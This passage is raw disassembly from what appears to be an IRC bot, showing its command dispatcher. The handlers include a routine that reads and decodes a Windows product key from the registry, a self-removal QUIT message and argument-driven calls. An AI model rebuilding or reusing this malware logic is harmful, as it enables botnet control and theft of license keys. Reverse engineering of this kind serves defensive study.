		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey

loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey

loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset dword_419DDC
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------

loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax

loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------

loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax

loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------

loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------

loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------

loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------

loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx

loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DA68
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------

loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68

loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------

loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...

loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41EC30
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DA48
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300

loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41EF48
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7

loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41EC40
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------

loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EB2C
		push	offset dword_41EC40
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------

loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax

loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------

loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41EF48
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------

loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41EF48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EB2C
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DAB4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------

loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DE30

loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
